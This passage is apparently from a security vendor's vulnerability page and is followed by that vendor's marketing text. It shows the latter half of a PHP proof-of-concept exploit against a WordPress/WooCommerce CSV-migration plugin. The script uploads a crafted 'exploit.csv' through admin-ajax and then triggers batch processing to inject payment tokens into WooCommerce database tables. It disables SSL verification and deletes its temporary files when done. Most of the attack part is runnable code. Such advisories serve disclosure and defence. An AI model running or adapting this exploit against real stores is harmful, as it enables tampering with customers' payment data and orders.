    CURLOPT_POSTFIELDS => array(
        'action' => 'upload_csv',
        'migration_file' => new CURLFile($csv_file, 'text/csv', 'exploit.csv')
    ),
    CURLOPT_COOKIEFILE => $cookie_jar,
    CURLOPT_SSL_VERIFYPEER => false
));
$upload_response = curl_exec($ch);
$upload_http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
$upload_error = curl_error($ch);
curl_close($ch);

echo "[*] CSV upload response (HTTP $upload_http_code): $upload_responsen";
if ($upload_error) {
    echo "[!] cURL error: $upload_errorn";
}

// Step 4: Trigger process_batch to write tokens to WooCommerce tables
// This will update wp_woocommerce_payment_tokens, wp_postmeta, and wp_woocommerce_order_items
$process_data = array(
    'action' => 'process_batch',
    'offset' => 0,
    'limit' => 100
);

$ch = curl_init();
curl_setopt_array($ch, array(
    CURLOPT_URL => $ajax_url,
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query($process_data),
    CURLOPT_COOKIEFILE => $cookie_jar,
    CURLOPT_SSL_VERIFYPEER => false
));
$process_response = curl_exec($ch);
$process_http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
$process_error = curl_error($ch);
curl_close($ch);

echo "[*] Process batch response (HTTP $process_http_code): $process_responsen";
if ($process_error) {
    echo "[!] cURL error: $process_errorn";
}

// Cleanup temporary files
unlink($cookie_jar);
unlink($csv_file);

echo "[*] Exploitation attempt complete. Check if tokens were injected.n";

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School